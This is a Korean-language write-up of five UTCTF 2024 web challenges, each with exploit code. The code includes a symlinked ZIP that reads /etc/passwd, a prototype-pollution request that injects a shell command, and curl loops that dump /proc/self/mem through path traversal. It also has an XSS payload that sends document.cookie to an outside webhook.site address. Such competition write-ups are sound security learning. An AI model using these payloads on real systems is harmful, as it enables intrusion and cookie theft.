UTCTF 2024
CTFtime: https://ctftime.org/event/2302
Official URL: https://utctf.live/
Team Score
대회 당시 웹 문제는 총 3문제를 풀었고, 나머지 웹 문제들은 대회 이후 다시 풀어보고 Writeup을 작성했다.
Writeup
Off-Brand Cookie Clicker
474 solved / 100 pts
I tried to make my own version of cookie clicker, without all of the extra fluff. Can you beat my highscore?
By Khael (@malfuncti0nal on discord)
http://betta.utctf.live:8138
쿠키를 클릭하면, 클릭 횟수가 1씩 증가한다. 클릭 횟수를 10,000,000 값으로 만들어야한다.
<script>
document.addEventListener('DOMContentLoaded', function() {
var count = parseInt(localStorage.getItem('count')) || 0;
var cookieImage = document.getElementById('cookieImage');
var display = document.getElementById('clickCount');
display.textContent = count;
cookieImage.addEventListener('click', function() {
count++;
display.textContent = count;
localStorage.setItem('count', count);
if (count >= 10000000) {
fetch('/click', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'count=' + count
})
.then(response => response.json())
.then(data => {
alert(data.flag);
});
}
});
});
</script>
Request Body에 count=
값을 10,000,000
으로 설정하여 요청을 보내면 플래그를 획득할 수 있다.
Exploit Code
fetch('/click', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'count=10000000'
}).then(response => response.json())
.then(data => {
alert(data.flag);
});
Flag
utflag{y0u_cl1ck_pr3tty_f4st}
Schrödinger
250 solved / 271 pts
Hey, my digital cat managed to get into my server and I can’t get him out. The only thing running on the server is a website a colleague of mine made. Can you find a way to use the website to check if my cat’s okay? He’ll likely be in the user’s home directory. You’ll know he’s fine if you find a “flag.txt” file. By helix (@helix_shift on discord)
http://betta.utctf.live:5422
주어지는 소스코드는 없고, ZIP 파일을 업로드하면 ZIP 파일 내부에 존재하는 파일을 읽어 내용을 보여준다.
임의의 파일을 생성해 심볼릭 링크를 걸고 ZIP으로 압축해주면, 압축 해제 후 파일을 읽을 때 심볼릭 링크 경로의 파일 내용을 읽어오게 된다.
문제 설명에도 나와있듯이 홈 디렉터리
에 flag.txt
파일이 존재한다고 하여 유저 이름을 먼저 알아내야한다.
ln -s /etc/passwd f
zip --symlinks etcpasswd.zip f
심볼릭 링크를 걸어 ZIP 파일을 생성하고, 파일을 업로드하면 /etc/passwd
파일 내용을 볼 수 있다.
일반 유저는 UID, GID 값이 1000에서 시작하기에 copenhagen
유저의 홈 디렉터리 안에 flag.txt
가 있음을 유추할 수 있다.
ln -s /home/copenhagen/flag.txt flag
zip --symlinks flag.zip flag
심볼링 링크 경로를 /home/copenhagen/flag.txt
로 변경한 후, 이전과 동일하게 ZIP 파일을 업로드 하면 FLAG
를 획득할 수 있다.
Exploit Code
ln -s /etc/passwd f
zip --symlinks etcpasswd.zip f
ln -s /home/copenhagen/flag.txt flag
zip --symlinks flag.zip flag
Flag
utflag{No_Observable_Cats_Were_Harmed}
merger
143 solved / 778 pts
Tired of getting your corporate mergers blocked by the FTC? Good news! Just give us your corporate information and let our unpaid interns do the work!
By Samintell (@samintell on discord)
http://guppy.utctf.live:8725
function isObject(obj) {
return typeof obj === 'function' || typeof obj === 'object';
}
var secret = {}
const { exec } = require('child_process');
process.on('message', function (m) {
let data = m.data;
let orig = m.orig;
for (let k = 0; k < Math.min(data.attributes.length, data.values.length); k++) {
if (!(orig[data.attributes[k]] === undefined) && isObject(orig[data.attributes[k]]) && isObject(data.values[k])) {
for (const key in data.values[k]) {
orig[data.attributes[k]][key] = data.values[k][key];
}
} else if (!(orig[data.attributes[k]] === undefined) && Array.isArray(orig[data.attributes[k]]) && Array.isArray(data.values[k])) {
orig[data.attributes[k]] = orig[data.attributes[k]].concat(data.values[k]);
} else {
orig[data.attributes[k]] = data.values[k];
}
}
cmd = "./merger.sh";
if (secret.cmd != null) {
cmd = secret.cmd;
}
var test = exec(cmd, (err, stdout, stderr) => {
retObj = {};
retObj['merged'] = orig;
retObj['err'] = err;
retObj['stdout'] = stdout;
retObj['stderr'] = stderr;
process.send(retObj);
});
console.log(test);
});
병합 과정에서 Prototype Pollution
취약점이 발생하여 secret.cmd
값을 변조하면 원하는 명령을 실행시킬 수 있다.
if (!(orig[data.attributes[k]] === undefined) && isObject(orig[data.attributes[k]]) && isObject(data.values[k])) {
for (const key in data.values[k]) {
orig[data.attributes[k]][key] = data.values[k][key];
}
}
위 코드에서 data.attributes[k]
값을 __proto__
로 설정하고, data.values[k][key]
값을 {"cmd": "/bin/cat flag.txt"}
로 전달해준다. 그럼, orig[__proto__].cmd = "/bin/cat flag.txt"
형태로 값이 들어가게 되어 Prototype Pollution
취약점이 발생하며 secret.cmd
값이 "/bin/cat flag.txt"
으로 변조된다.
Exploit Code
import requests
# url = "http://localhost:8725"
url = "http://guppy.utctf.live:8725"
s = requests.session()
r = s.get(url)
cookies = r.cookies.get_dict()
r = s.post(
f"{url}/api/makeCompany",
json={
"attributes": ["cmd"],
"values": ["cmd"]
}
)
r = s.post(
f"{url}/api/absorbCompany/0",
json={
"attributes": ["__proto__"],
"values": [{"cmd": "/bin/cat flag.txt" }]
}
)
print(r.text)
Flag
utflag{p0lluted_b4ckdoorz_and_m0r3}
Home on the Range
71 solved / 933 pts
I wrote a custom HTTP server to play with obscure HTTP headers.
By Jonathan (@JBYoshi on discord)
http://guppy.utctf.live:7884
홈페이지를 보면 Directory Listing
취약점이 발생한다는 것을 알 수 있다.
<!DOCTYPE html>
<html>
<head>
<title>Directory listing of /</title>
<body>
<h1>Directory listing of /</h1>
<ul>
<li>
<a href="media">media</a>
</li>
<li>
<a href="mnt">mnt</a>
</li>
<li>
<a href="usr">usr</a>
</li>
<li>
<a href="opt">opt</a>
</li>
<li>
<a href="tmp">tmp</a>
</li>
<li>
<a href="bin">bin</a>
</li>
<li>
<a href="sbin">sbin</a>
</li>
<li>
<a href="root">root</a>
</li>
<li>
<a href="sys">sys</a>
</li>
<li>
<a href="proc">proc</a>
</li>
<li>
<a href="home">home</a>
</li>
<li>
<a href="dev">dev</a>
</li>
<li>
<a href="srv">srv</a>
</li>
<li>
<a href="run">run</a>
</li>
<li>
<a href="etc">etc</a>
</li>
<li>
<a href="var">var</a>
</li>
<li>
<a href="lib">lib</a>
</li>
<li>
<a href="setup">setup</a>
</li>
<li>
<a href=".dockerenv">.dockerenv</a>
</li>
<li>
<a href="server.py">server.py</a>
</li>
</ul>
</body>
</html>
http://guppy.utctf.live:7884/../../../
경로에 접근해보면, server.py
코드를 확인할 수 있다.
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import os
from html import escape
from mimetypes import guess_type
import re
from random import randbytes
import signal
import sys
import threading
with open("/setup/flag.txt") as f:
the_flag = f.read()
os.remove("/setup/flag.txt")
def process_range_request(ranges, content_type, file_len, write_header, write_bytes, write_file_range):
boundary = randbytes(64).hex()
for [first, last] in (ranges if ranges != [] else [[None, None]]):
count = None
if first is None:
if last is None:
first = 0
else:
first = file_len - last
count = last
elif last is not None:
count = last - first + 1
if (count is not None and count < 0) or first < 0:
return False
content_range_header = "bytes " + str(first) + "-" + (str(first + count - 1 if count is not None else file_len - 1)) + "/" + str(file_len)
if len(ranges) > 1:
write_bytes(b"\r\n--" + boundary.encode())
if content_type:
write_bytes(b"\r\nContent-Type: " + content_type.encode())
write_bytes(b"\r\nContent-Range: " + content_range_header.encode())
write_bytes(b"\r\n\r\n")
else:
if content_type:
write_header("Content-Type", content_type)
if len(ranges) > 0:
write_header("Content-Range", content_range_header)
if not write_file_range(first, count):
return False
if len(ranges) > 1:
write_bytes(b"\r\n--" + boundary.encode() + b"--\r\n")
write_header("Content-Type", "multipart/byteranges; boundary=" + boundary)
elif len(ranges) == 0:
write_header("Accept-Ranges", "bytes")
return True
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
return self.try_serve_file(self.path[1:])
def try_serve_file(self, f):
if f == "":
f = "."
try:
status_code = 200
range_match = re.match("^bytes=\\d*-\\d*(, *\\d*-\\d*)*$", self.headers.get("range", "none"))
ranges = []
if range_match:
status_code = 206
ranges = []
for range in self.headers.get("range").split("=")[1].split(", "):
left, right = range.split("-")
new_range = [None, None]
if left:
new_range[0] = int(left)
if right:
new_range[1] = int(right)
if not left and not right:
# invalid
ranges = [[None, None]]
break
ranges.append(new_range)
self.log_message("Serving %s ranges %s", f, repr(ranges))
(content_type, _) = guess_type(f)
with open(f, "rb") as io:
file_length = os.stat(f).st_size
headers = []
chunks = []
def check_file_chunk(first, count):
if count is None:
if first < 0:
return False
io.seek(first)
if io.read(1) == b"":
return False
else:
if count <= 0 or first < 0:
return False
io.seek(first + count - 1)
if io.read(1) == b"":
return False
chunks.append({"type": "file", "first": first, "count": count})
return True
ok = process_range_request(ranges, content_type, file_length,
lambda k, v: headers.append((k, v)),
lambda b: chunks.append({"type": "bytes", "bytes": b}),
check_file_chunk)
if not ok:
self.send_response(416)
self.send_header("Content-Range", "bytes */" + str(file_length))
self.end_headers()
return
content_length = 0
for chunk in chunks:
if chunk["type"] == "bytes":
content_length += len(chunk["bytes"])
elif chunk["type"] == "file":
content_length += chunk["count"] if chunk["count"] is not None else file_length - chunk["first"]
self.send_response(status_code)
for (k, v) in headers:
self.send_header(k, v)
self.send_header("Content-Length", str(content_length))
self.end_headers()
for chunk in chunks:
if chunk["type"] == "bytes":
self.wfile.write(chunk["bytes"])
elif chunk["type"] == "file":
io.seek(chunk["first"])
count = chunk["count"]
buf_size = 1024 * 1024
while count is None or count > 0:
chunk = io.read(min(count if count is not None else buf_size, buf_size))
self.wfile.write(chunk)
if count is not None:
count -= len(chunk)
if len(chunk) == 0:
break
except FileNotFoundError:
print(f)
self.send_error(404)
except IsADirectoryError:
if not f.endswith("/") and f != ".":
self.send_response(303)
self.send_header("Location", "/" + f + "/")
self.end_headers()
elif os.path.isfile(f + "/index.html"):
return self.try_serve_file(f + "/index.html")
else:
dir_name = os.path.basename(os.path.abspath(f))
if dir_name == "":
dir_name = "/"
body = (
"<!DOCTYPE html><html><head><title>Directory listing of "
+ escape(dir_name)
+ "</title><body><h1>Directory listing of " + escape(dir_name) + "</h1><ul>"
+ "".join(["<li><a href=\"" + escape(child, quote=True) + "\">" + escape(child) + "</a></li>" for child in os.listdir(f)])
+ "</ul></body></html>"
).encode("utf-8")
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.end_headers()
self.wfile.write(body)
pass
except OSError as e:
self.send_error(500, None, e.strerror)
server = ThreadingHTTPServer(("0.0.0.0", 3000), Handler)
def exit_handler(signum, frame):
sys.stderr.write("Received SIGTERM\n")
# Needs to run in another thread to avoid blocking the main thread
def shutdown_server():
server.shutdown()
shutdown_thread = threading.Thread(target=shutdown_server)
shutdown_thread.start()
signal.signal(signal.SIGTERM, exit_handler)
sys.stderr.write("Server ready\n")
server.serve_forever()
with open("/setup/flag.txt", "w") as f:
f.write(the_flag)
/setup/flag.txt
파일을 읽어 the_flag
변수에 플래그를 저장한다. 하지만, 해당 파일은 os.remove()
함수에 의해 삭제되어 볼 수 없다.
range_match = re.match("^bytes=\\d*-\\d*(, *\\d*-\\d*)*$", self.headers.get("range", "none"))
Handler
클래스의 try_serve_file()
메서드를 보면, HTTP Header에 Range:
헤더를 읽어와 bytes=\\d*-\\d*
정규 표현식과 일치하는지 확인하고 파일의 내용을 읽어온다.
/proc/self/maps
를 읽어 server.py
바이너리가 어느 주소에 있는지 확인하고, /proc/self/mem
에서 해당 주소의 바이너리를 읽어오면 the_flag
변수에 저장된 플래그 값을 읽을 수 있다.
Exploit Code
import re
import os
memory = "http://guppy.utctf.live:7884/../../../proc/self/mem"
os.system("curl --path-as-is -H 'Range: bytes=0-494' http://guppy.utctf.live:7884/../../../proc/self/maps > maps.txt")
with open("maps.txt") as f:
maps_contents = f.readlines()
for line in maps_contents:
r = re.compile(r"([0-9a-f]+)-([0-9a-f]+)")
match = r.match(line)
if match:
start_addr, end_addr = match.groups()
start_addr = int(start_addr, 16)
end_addr = int(end_addr, 16) - 1
output_file = f"memory_{start_addr}_{end_addr}.bin"
range_header = f"bytes={start_addr}-{end_addr}"
os.system(f"curl --path-as-is -H 'Range: {range_header}' -s {memory} -o {output_file}")
print(f"Download memory_{start_addr}_{end_addr}.bin")
Flag
utflag{do_u_want_a_piece_of_me}
Unsound
13 solved / 999 pts
I decided to roll my own super secure crypto. It’s also written in Rust with no unsafe code. If you get past all of that, you have to break through the Wasm sandbox. Good luck…you’ll need it.
All web requests replayed on an internal headless browser, which contains the flag. This is necessary since any keys stored in Javascript / Wasm could easily be read by the attacker. Take this into account when attacking this box.
By Aadhithya (@aadhi0319 on discord)
http://guppy.utctf.live:8374
#[wasm_bindgen]
#[inline(never)]
pub fn decrypt(input_ref: &str) -> String {
#[repr(C)]
// structure declaration
struct ProgramState {
last_decryption: [u8; 300],
success_msg: [u8; 300],
failure_msg: [u8; 300],
}
// create structure variable
let mut state: ProgramState = std::hint::black_box(ProgramState {
last_decryption: [0u8; 300],
success_msg: [0u8; 300],
failure_msg: [0u8; 300],
});
let success = [b's', b'u', b'c', b'c', b'e', b's', b's'];
let failure = [b'f', b'a', b'i', b'l', b'u', b'r', b'e'];
state.success_msg[..7].copy_from_slice(&success);
state.failure_msg[..7].copy_from_slice(&failure);
let input_vector = general_purpose::STANDARD.decode(input_ref.as_bytes()).unwrap();
let input = String::from_utf8_lossy(&input_vector);
let seed: [u8; 32] = [0xde, 0xed, 0xbe, 0xef, 0xfe, 0xed, 0xba, 0x0c, 0xca, 0xb0, 0xb0, 0xb5, 0xde, 0xfa, 0xce, 0x0d, 0xca, 0xfe, 0xb0, 0xba, 0xde, 0xad, 0xc0, 0xde, 0xfe, 0xe1, 0xde, 0xad, 0xde, 0xad, 0x10, 0xcc];
let mut rng: StdRng = SeedableRng::from_seed(seed);
// base64 decode
let decrypted_string: String = input
.chars()
.map(|c| (c as u8) ^ (rng.gen::<u8>()))
.map(|c| c as char)
.collect();
// extends the size of buffer
let mut last_decryption = make_string(state.last_decryption.as_mut_ptr(), 600usize, 0usize);
last_decryption.push_str(&decrypted_string);
mem::forget(last_decryption);
let decryption_msg: String;
if decrypted_string.len() > 0 {
decryption_msg = String::from_utf8_lossy(&state.success_msg).to_string();
} else {
decryption_msg = String::from_utf8_lossy(&state.failure_msg).to_string();
}
return decryption_msg;
}
ProgramState
구조체 선언 시, last_decryption
, success_msg
, failure_msg
각 배열 크기가 300
으로 지정되어있다.
이후, success_msg
, failure_msg
배열에 “success”, “failure” 문자열을 넣고, 입력된 암호화된 문자열을 복호화하고 성공 여부를 메세지로 반환한다.
하지만, make_string(state.last_decryption.as_mut_ptr(), 600usize, 0usize);
해당 코드에서 취약점이 발생한다.
pub const STATIC_UNIT: &&() = &&();
#[inline(never)]
pub fn translate<'a, 'b, T>(_val_a: &'a &'b (), val_b: &'b mut T) -> &'a mut T {
val_b
}
pub fn expand_mut<'a, 'b, T>(x: &'a mut T) -> &'b mut T {
let f: fn(_, &'a mut T) -> &'b mut T = translate;
f(STATIC_UNIT, x)
}
pub fn transmute<A, B>(obj: A) -> B {
use std::hint::black_box;
enum TransmuteEnum<A, B> {
A(Option<Box<A>>),
B(Option<Box<B>>),
}
#[inline(never)]
fn transmute_inner<A, B>(trans: &mut TransmuteEnum<A, B>, obj: A) -> B {
let TransmuteEnum::B(ref_to_b) = trans else {
unreachable!()
};
let ref_to_b = expand_mut(ref_to_b);
*trans = TransmuteEnum::A(Some(Box::new(obj)));
black_box(trans);
*ref_to_b.take().unwrap()
}
transmute_inner(black_box(&mut TransmuteEnum::B(None)), obj)
}
#[inline(always)]
pub fn make_string(ptr: *mut u8, cap: usize, len: usize) -> String {
let sentinel_string = crate::transmute::<_, String>([0usize, 1usize, 2usize]);
let mut actual_buf = [0usize; 3];
actual_buf[sentinel_string.as_ptr() as usize] = ptr as usize;
actual_buf[sentinel_string.capacity()] = cap;
actual_buf[sentinel_string.len()] = len;
std::mem::forget(sentinel_string);
crate::transmute::<_, String>(actual_buf)
}
last_decryption
배열은 크키가 300으로 지정되어있었지만, make_string()
함수에서 capacity
값을 600으로 설정하면서 문제가 발생하게 된다. 다시 말해, 복호화된 문자열의 길이가 300 ~ 600 일 경우, success_msg
에 문자열이 덮어씌워져 원하는 문자열을 쓸 수 있게 된다.
즉, 위와 같이 "A" * 308
문자열을 암호화하고 복호화해주면 SUCCESS
문자열이 나오지 않고 "A"
문자열이 출력되는 것을 볼 수 있다.
이로 인해, <img>
태그를 활용하면 XSS
취약점으로 이어져 쿠키 탈취가 가능해진다.
Exploit Code
dummy = "A" * 300
xss_payload = '''<img src=x onerror="fetch('https://webhook.site/4f858ea1-7b1d-4e60-be16-5394a6aa673a/?c='+document.cookie,{method:'GET'})">'''
print(dummy + xss_payload)
# xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<img src=x onerror="fetch('https://webhook.site/4f858ea1-7b1d-4e60-be16-5394a6aa673a/?c='+document.cookie,{method:'GET'})">
Flag
utflag{4ma11y_v3rif!ed_t0_b3_m3m0rY_s4fe_L0l}